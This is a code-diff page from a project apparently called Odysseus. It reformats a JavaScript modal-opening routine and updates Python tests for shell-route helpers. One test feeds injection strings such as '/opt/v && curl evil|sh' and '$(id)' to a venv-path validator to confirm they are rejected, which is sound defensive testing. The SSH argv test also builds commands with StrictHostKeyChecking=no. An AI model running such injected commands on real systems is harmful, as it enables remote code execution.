+ '<svg width="11" height="11" viewBox="0 0 16 16" fill="currentColor" aria-hidden="true" style="flex-shrink:0;"><path d="M8 0C3.58 0 0 3.58 0 8a8 8 0 0 0 5.47 7.59c.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>'
|
||||
+ '</a>'
|
||||
+ '</div>';
|
||||
|
||||
html += '</div></div>';
|
||||
|
||||
@@ -1883,7 +1924,7 @@ function _renderRecipes() {
|
||||
html += '<div style="display:flex;align-items:baseline;gap:8px;margin-bottom:2px;margin-top:-4px;">';
|
||||
html += '<h2 style="margin:0;padding:0;line-height:1;">Servers</h2>';
|
||||
// Reuse the calendar +New pill: spinning plus, label fades in idea uses
|
||||
// the same `.cal-add-btn-text` rules, so styling stays consistent.
|
||||
// the same `.cal-add-btn-text` rules, so styling stays consistent.
|
||||
html += '<button class="cal-add-btn cal-add-btn-text" id="cookbook-server-add" title="Add server" style="margin-left:auto;"><span class="cal-add-plus">+</span><span class="cal-add-label">Add</span></button>';
|
||||
html += '</div>';
|
||||
html += '<p class="memory-desc doclib-desc">Configure SSH servers, install Odysseus keys, choose model directories, and set the default server. Local is this machine.</p>';
|
||||
@@ -1979,73 +2020,73 @@ export async function open(opts) {
|
||||
}
|
||||
_setCookbookOpening(true);
|
||||
try {
|
||||
// Invalidate any pending close() animation handlers so they won't re-hide us
|
||||
_closeGen++;
|
||||
// Clear any leftover inline styles from a previous swipe-dismiss or close animation
|
||||
const _content = modal.querySelector('.modal-content');
|
||||
if (_content) {
|
||||
_content.classList.remove('modal-closing', 'sheet-ready', 'cookbook-modal-entering');
|
||||
_content.style.transform = '';
|
||||
_content.style.transition = '';
|
||||
_content.style.animation = '';
|
||||
_content.style.opacity = '';
|
||||
}
|
||||
modal.style.display = '';
|
||||
Modals.register('cookbook-modal', {
|
||||
railBtnId: 'rail-cookbook',
|
||||
sidebarBtnId: 'tool-cookbook-btn',
|
||||
closeFn: () => _doClose(),
|
||||
restoreFn: () => { _renderRunningTab(); },
|
||||
});
|
||||
_wireCookbookDrag(modal);
|
||||
await _syncFromServer();
|
||||
// `_syncFromServer` lives in cookbookRunning.js and populates *its* _envState
|
||||
// (a different object reference than this module's), then mirrors the merged
|
||||
// state to localStorage. So ALWAYS hydrate our _envState from that mirror —
|
||||
// on a successful sync it holds the freshly-fetched servers; on failure it
|
||||
// holds the last-known state. Gating this on `!synced` left the render's
|
||||
// _envState empty whenever sync succeeded → "servers don't show".
|
||||
try { Object.assign(_envState, _readStoredEnvState()); } catch {}
|
||||
// Honour a user-set default server: always land on it when Cookbook opens, so
|
||||
// every dropdown (scan/download/serve/cache/deps) starts on the same machine.
|
||||
if (_envState.defaultServer) {
|
||||
const _dk = _envState.defaultServer;
|
||||
if (_dk === 'local') {
|
||||
_envState.remoteHost = ''; _envState.env = 'none'; _envState.envPath = ''; _envState.platform = '';
|
||||
} else {
|
||||
const _ds = (_envState.servers || []).find(s => s.host === _dk);
|
||||
if (_ds) { _envState.remoteHost = _ds.host; _envState.env = _ds.env || 'none'; _envState.envPath = _ds.envPath || ''; _envState.platform = _ds.platform || ''; }
|
||||
// Invalidate any pending close() animation handlers so they won't re-hide us
|
||||
_closeGen++;
|
||||
// Clear any leftover inline styles from a previous swipe-dismiss or close animation
|
||||
const _content = modal.querySelector('.modal-content');
|
||||
if (_content) {
|
||||
_content.classList.remove('modal-closing', 'sheet-ready', 'cookbook-modal-entering');
|
||||
_content.style.transform = '';
|
||||
_content.style.transition = '';
|
||||
_content.style.animation = '';
|
||||
_content.style.opacity = '';
|
||||
}
|
||||
}
|
||||
// Re-render on every open AFTER sync so the freshly-fetched state (servers,
|
||||
// HF token, presets) is always reflected. Gating this to once-per-page used
|
||||
// to freeze a stale/empty servers list whenever the first sync raced or
|
||||
// returned before hydration — and since close/reopen doesn't reset the page,
|
||||
// only a full reload recovered it. Re-rendering is cheap and the in-progress
|
||||
// Running tab is rendered separately just below.
|
||||
_renderRecipes();
|
||||
_rendered = true;
|
||||
_clearCookbookNotif();
|
||||
_renderRunningTab();
|
||||
// Self-heal: revive any download tasks whose tmux session is still alive
|
||||
// but were persisted as done/error (covers the "restarted server while a
|
||||
// big multi-shard download was in flight" case — the task survived in
|
||||
// tmux, the cookbook just lost track of it).
|
||||
try { _selfHealStaleTasks({ oneShot: true }); } catch {}
|
||||
if (_content) {
|
||||
// Put the panel in its entering state before it becomes visible. On
|
||||
// mobile, showing first and adding the class a frame later can paint the
|
||||
// sheet at its final position, which makes the slide-up look like a snap.
|
||||
_content.classList.add('cookbook-modal-entering');
|
||||
}
|
||||
modal.classList.remove('hidden');
|
||||
if (_content) {
|
||||
void _content.offsetWidth;
|
||||
_content.addEventListener('animationend', () => {
|
||||
_content.classList.remove('cookbook-modal-entering');
|
||||
}, { once: true });
|
||||
}
|
||||
setTimeout(_applyIntent, 0);
|
||||
modal.style.display = '';
|
||||
Modals.register('cookbook-modal', {
|
||||
railBtnId: 'rail-cookbook',
|
||||
sidebarBtnId: 'tool-cookbook-btn',
|
||||
closeFn: () => _doClose(),
|
||||
restoreFn: () => { _renderRunningTab(); },
|
||||
});
|
||||
_wireCookbookDrag(modal);
|
||||
await _syncFromServer();
|
||||
// `_syncFromServer` lives in cookbookRunning.js and populates *its* _envState
|
||||
// (a different object reference than this module's), then mirrors the merged
|
||||
// state to localStorage. So ALWAYS hydrate our _envState from that mirror —
|
||||
// on a successful sync it holds the freshly-fetched servers; on failure it
|
||||
// holds the last-known state. Gating this on `!synced` left the render's
|
||||
// _envState empty whenever sync succeeded → "servers don't show".
|
||||
try { Object.assign(_envState, _readStoredEnvState()); } catch { }
|
||||
// Honour a user-set default server: always land on it when Cookbook opens, so
|
||||
// every dropdown (scan/download/serve/cache/deps) starts on the same machine.
|
||||
if (_envState.defaultServer) {
|
||||
const _dk = _envState.defaultServer;
|
||||
if (_dk === 'local') {
|
||||
_envState.remoteHost = ''; _envState.env = 'none'; _envState.envPath = ''; _envState.platform = '';
|
||||
} else {
|
||||
const _ds = (_envState.servers || []).find(s => s.host === _dk);
|
||||
if (_ds) { _envState.remoteHost = _ds.host; _envState.env = _ds.env || 'none'; _envState.envPath = _ds.envPath || ''; _envState.platform = _ds.platform || ''; }
|
||||
}
|
||||
}
|
||||
// Re-render on every open AFTER sync so the freshly-fetched state (servers,
|
||||
// HF token, presets) is always reflected. Gating this to once-per-page used
|
||||
// to freeze a stale/empty servers list whenever the first sync raced or
|
||||
// returned before hydration — and since close/reopen doesn't reset the page,
|
||||
// only a full reload recovered it. Re-rendering is cheap and the in-progress
|
||||
// Running tab is rendered separately just below.
|
||||
_renderRecipes();
|
||||
_rendered = true;
|
||||
_clearCookbookNotif();
|
||||
_renderRunningTab();
|
||||
// Self-heal: revive any download tasks whose tmux session is still alive
|
||||
// but were persisted as done/error (covers the "restarted server while a
|
||||
// big multi-shard download was in flight" case — the task survived in
|
||||
// tmux, the cookbook just lost track of it).
|
||||
try { _selfHealStaleTasks({ oneShot: true }); } catch { }
|
||||
if (_content) {
|
||||
// Put the panel in its entering state before it becomes visible. On
|
||||
// mobile, showing first and adding the class a frame later can paint the
|
||||
// sheet at its final position, which makes the slide-up look like a snap.
|
||||
_content.classList.add('cookbook-modal-entering');
|
||||
}
|
||||
modal.classList.remove('hidden');
|
||||
if (_content) {
|
||||
void _content.offsetWidth;
|
||||
_content.addEventListener('animationend', () => {
|
||||
_content.classList.remove('cookbook-modal-entering');
|
||||
}, { once: true });
|
||||
}
|
||||
setTimeout(_applyIntent, 0);
|
||||
} finally {
|
||||
_setCookbookOpening(false);
|
||||
}
|
||||
|
||||
+131
-34
@@ -1,6 +1,7 @@
|
||||
"""Tests for shell_routes.py helpers."""
|
||||
|
||||
import builtins
|
||||
import importlib
|
||||
import importlib.util
|
||||
import json
|
||||
import os
|
||||
@@ -39,7 +40,9 @@ def test_shell_routes_import_without_posix_pty_modules(monkeypatch):
|
||||
cached_modules = {name: sys.modules.pop(name, None) for name in ("fcntl", "pty")}
|
||||
|
||||
module_path = Path(__file__).resolve().parents[1] / "routes" / "shell_routes.py"
|
||||
spec = importlib.util.spec_from_file_location("_shell_routes_without_pty", module_path)
|
||||
spec = importlib.util.spec_from_file_location(
|
||||
"_shell_routes_without_pty", module_path
|
||||
)
|
||||
module = importlib.util.module_from_spec(spec)
|
||||
sys.modules[spec.name] = module
|
||||
try:
|
||||
@@ -59,7 +62,9 @@ async def test_generate_pty_reports_explicit_unsupported_error(monkeypatch):
|
||||
import routes.shell_routes as shell_routes
|
||||
|
||||
monkeypatch.setattr(shell_routes, "PTY_SUPPORTED", False)
|
||||
monkeypatch.setattr(shell_routes, "_PTY_IMPORT_ERROR", ImportError("No module named 'termios'"))
|
||||
monkeypatch.setattr(
|
||||
shell_routes, "_PTY_IMPORT_ERROR", ImportError("No module named 'termios'")
|
||||
)
|
||||
|
||||
request = SimpleNamespace(is_disconnected=lambda: False)
|
||||
events = [
|
||||
@@ -123,29 +128,76 @@ class TestRunningInContainer:
|
||||
def test_dockerenv_marker_present(self, tmp_path):
|
||||
marker = tmp_path / ".dockerenv"
|
||||
marker.write_text("")
|
||||
assert _running_in_container(
|
||||
dockerenv_path=str(marker), cgroup_path=str(tmp_path / "missing"),
|
||||
) is True
|
||||
assert (
|
||||
_running_in_container(
|
||||
dockerenv_path=str(marker),
|
||||
cgroup_path=str(tmp_path / "missing"),
|
||||
)
|
||||
is True
|
||||
)
|
||||
|
||||
def test_cgroup_names_a_container_runtime(self, tmp_path):
|
||||
cgroup = tmp_path / "cgroup"
|
||||
cgroup.write_text("12:devices:/docker/abcdef0123456789\n")
|
||||
assert _running_in_container(
|
||||
dockerenv_path=str(tmp_path / "no-marker"), cgroup_path=str(cgroup),
|
||||
) is True
|
||||
assert (
|
||||
_running_in_container(
|
||||
dockerenv_path=str(tmp_path / "no-marker"),
|
||||
cgroup_path=str(cgroup),
|
||||
)
|
||||
is True
|
||||
)
|
||||
|
||||
def test_bare_host_has_neither_signal(self, tmp_path):
|
||||
cgroup = tmp_path / "cgroup"
|
||||
cgroup.write_text("0::/user.slice/session-1.scope\n")
|
||||
assert _running_in_container(
|
||||
dockerenv_path=str(tmp_path / "no-marker"), cgroup_path=str(cgroup),
|
||||
) is False
|
||||
assert (
|
||||
_running_in_container(
|
||||
dockerenv_path=str(tmp_path / "no-marker"),
|
||||
cgroup_path=str(cgroup),
|
||||
)
|
||||
is False
|
||||
)
|
||||
|
||||
def test_missing_cgroup_file_is_not_a_container(self, tmp_path):
|
||||
assert _running_in_container(
|
||||
dockerenv_path=str(tmp_path / "no-marker"),
|
||||
cgroup_path=str(tmp_path / "also-missing"),
|
||||
) is False
|
||||
assert (
|
||||
_running_in_container(
|
||||
dockerenv_path=str(tmp_path / "no-marker"),
|
||||
cgroup_path=str(tmp_path / "also-missing"),
|
||||
)
|
||||
is False
|
||||
)
|
||||
|
||||
|
||||
class TestAppleSiliconDetection:
|
||||
"""APFEL should only surface as available on native Apple Silicon Macs."""
|
||||
|
||||
def test_reports_true_on_macos_arm64(self, monkeypatch):
|
||||
import core.platform_compat as platform_compat
|
||||
|
||||
monkeypatch.setattr(platform_compat.platform, "system", lambda: "Darwin")
|
||||
monkeypatch.setattr(platform_compat.platform, "machine", lambda: "arm64")
|
||||
importlib.reload(platform_compat)
|
||||
|
||||
assert platform_compat.IS_APPLE_SILICON is True
|
||||
|
||||
@pytest.mark.parametrize("machine", ["x86_64", "amd64"])
|
||||
def test_reports_false_off_apple_silicon(self, monkeypatch, machine):
|
||||
import core.platform_compat as platform_compat
|
||||
|
||||
monkeypatch.setattr(platform_compat.platform, "system", lambda: "Darwin")
|
||||
monkeypatch.setattr(platform_compat.platform, "machine", lambda: machine)
|
||||
importlib.reload(platform_compat)
|
||||
|
||||
assert platform_compat.IS_APPLE_SILICON is False
|
||||
|
||||
def test_reports_false_on_non_macos(self, monkeypatch):
|
||||
import core.platform_compat as platform_compat
|
||||
|
||||
monkeypatch.setattr(platform_compat.platform, "system", lambda: "Linux")
|
||||
monkeypatch.setattr(platform_compat.platform, "machine", lambda: "arm64")
|
||||
importlib.reload(platform_compat)
|
||||
|
||||
assert platform_compat.IS_APPLE_SILICON is False
|
||||
|
||||
|
||||
class TestDockerRowStatus:
|
||||
@@ -155,35 +207,50 @@ class TestDockerRowStatus:
|
||||
|
||||
def test_in_container_and_absent_is_not_applicable_with_safe_default_hint(self):
|
||||
status = _docker_row_status(
|
||||
on_remote=False, in_container=True, installed=False, default_hint=self.DEFAULT,
|
||||
on_remote=False,
|
||||
in_container=True,
|
||||
installed=False,
|
||||
default_hint=self.DEFAULT,
|
||||
)
|
||||
assert status.applicable is False
|
||||
assert status.install_hint == DOCKER_IN_CONTAINER_HINT
|
||||
|
||||
def test_in_container_but_present_is_applicable_with_default_hint(self):
|
||||
status = _docker_row_status(
|
||||
on_remote=False, in_container=True, installed=True, default_hint=self.DEFAULT,
|
||||
on_remote=False,
|
||||
in_container=True,
|
||||
installed=True,
|
||||
default_hint=self.DEFAULT,
|
||||
)
|
||||
assert status.applicable is True
|
||||
assert status.install_hint == self.DEFAULT
|
||||
|
||||
def test_on_host_and_absent_stays_applicable_with_default_hint(self):
|
||||
status = _docker_row_status(
|
||||
on_remote=False, in_container=False, installed=False, default_hint=self.DEFAULT,
|
||||
on_remote=False,
|
||||
in_container=False,
|
||||
installed=False,
|
||||
default_hint=self.DEFAULT,
|
||||
)
|
||||
assert status.applicable is True
|
||||
assert status.install_hint == self.DEFAULT
|
||||
|
||||
def test_remote_server_is_always_applicable_even_when_absent(self):
|
||||
status = _docker_row_status(
|
||||
on_remote=True, in_container=False, installed=False, default_hint=self.DEFAULT,
|
||||
on_remote=True,
|
||||
in_container=False,
|
||||
installed=False,
|
||||
default_hint=self.DEFAULT,
|
||||
)
|
||||
assert status.applicable is True
|
||||
assert status.install_hint == self.DEFAULT
|
||||
|
||||
def test_remote_server_ignores_local_container_status(self):
|
||||
status = _docker_row_status(
|
||||
on_remote=True, in_container=True, installed=False, default_hint=self.DEFAULT,
|
||||
on_remote=True,
|
||||
in_container=True,
|
||||
installed=False,
|
||||
default_hint=self.DEFAULT,
|
||||
)
|
||||
assert status.applicable is True
|
||||
assert status.install_hint == self.DEFAULT
|
||||
@@ -226,7 +293,10 @@ class TestPackageProbeStatus:
|
||||
|
||||
assert _package_installed_from_probe("vllm", probe) is True
|
||||
assert "python package: vllm 0.8.5" in _package_status_note("vllm", probe)
|
||||
assert _package_pip_update_status({"name": "vllm", "pip": "vllm"}, probe).available is True
|
||||
assert (
|
||||
_package_pip_update_status({"name": "vllm", "pip": "vllm"}, probe).available
|
||||
is True
|
||||
)
|
||||
|
||||
def test_vllm_cli_without_dist_is_external_for_update(self):
|
||||
probe = {
|
||||
@@ -250,18 +320,35 @@ class TestPackageProbeStatus:
|
||||
|
||||
assert _package_installed_from_probe("llama_cpp", probe) is True
|
||||
assert "native llama-server" in _package_status_note("llama_cpp", probe)
|
||||
status = _package_pip_update_status({"name": "llama_cpp", "pip": "llama-cpp-python[server]"}, probe)
|
||||
status = _package_pip_update_status(
|
||||
{"name": "llama_cpp", "pip": "llama-cpp-python[server]"}, probe
|
||||
)
|
||||
assert status.available is False
|
||||
assert "package manager or source checkout" in status.note
|
||||
|
||||
def test_apfel_does_not_use_generic_outside_odysseus_note(self):
|
||||
status = _package_pip_update_status(
|
||||
{"name": "APFEL", "pip": "", "update_cmd": "brew upgrade apfel"},
|
||||
{"binaries": {}, "dists": {}, "modules": {}},
|
||||
)
|
||||
|
||||
assert status.available is False
|
||||
assert "Update this system dependency outside Odysseus." not in status.note
|
||||
|
||||
def test_diffusers_requires_torch_too(self):
|
||||
missing_torch = {
|
||||
"modules": {"diffusers": {"found": True, "real_module": True}, "torch": {"found": False}},
|
||||
"modules": {
|
||||
"diffusers": {"found": True, "real_module": True},
|
||||
"torch": {"found": False},
|
||||
},
|
||||
"dists": {"diffusers": "0.37.0"},
|
||||
"binaries": {},
|
||||
}
|
||||
ready = {
|
||||
"modules": {"diffusers": {"found": True, "real_module": True}, "torch": {"found": True, "real_module": True}},
|
||||
"modules": {
|
||||
"diffusers": {"found": True, "real_module": True},
|
||||
"torch": {"found": True, "real_module": True},
|
||||
},
|
||||
"dists": {"diffusers": "0.37.0", "torch": "2.10.0"},
|
||||
"binaries": {},
|
||||
}
|
||||
@@ -293,7 +380,11 @@ class TestPackageProbeStatus:
|
||||
class TestSshBaseArgv:
|
||||
def test_basic_host_no_port(self):
|
||||
assert _ssh_base_argv("user@example.com", None) == [
|
||||
"ssh", "-o", "ConnectTimeout=6", "-o", "StrictHostKeyChecking=no",
|
||||
"ssh",
|
||||
"-o",
|
||||
"ConnectTimeout=6",
|
||||
"-o",
|
||||
"StrictHostKeyChecking=no",
|
||||
"user@example.com",
|
||||
]
|
||||
|
||||
@@ -329,16 +420,21 @@ class TestVenvActivatePrefix:
|
||||
assert _venv_activate_prefix("~/venv") == ". ~/venv/bin/activate && "
|
||||
|
||||
def test_already_pointing_at_activate(self):
|
||||
assert _venv_activate_prefix("/opt/v/bin/activate") == ". /opt/v/bin/activate && "
|
||||
assert (
|
||||
_venv_activate_prefix("/opt/v/bin/activate") == ". /opt/v/bin/activate && "
|
||||
)
|
||||
|
||||
@pytest.mark.parametrize("bad", [
|
||||
"/opt/v && curl evil|sh",
|
||||
"$(id)",
|
||||
"`id`",
|
||||
"v;id",
|
||||
"v\nid",
|
||||
"v|id",
|
||||
])
|
||||
@pytest.mark.parametrize(
|
||||
"bad",
|
||||
[
|
||||
"/opt/v && curl evil|sh",
|
||||
"$(id)",
|
||||
"`id`",
|
||||
"v;id",
|
||||
"v\nid",
|
||||
"v|id",
|
||||
],
|
||||
)
|
||||
def test_injection_payloads_rejected(self, bad):
|
||||
with pytest.raises(ValueError):
|
||||
_venv_activate_prefix(bad)
|
||||
@@ -351,6 +447,7 @@ class TestRejectCrossSite:
|
||||
|
||||
def test_cross_site_rejected(self):
|
||||
from fastapi import HTTPException
|
||||
|
||||
with pytest.raises(HTTPException) as exc:
|
||||
_reject_cross_site(self._req({"sec-fetch-site": "cross-site"}))
|
||||
assert exc.value.status_code == 403
|
||||
|
||||
Reference in New Issue
Block a user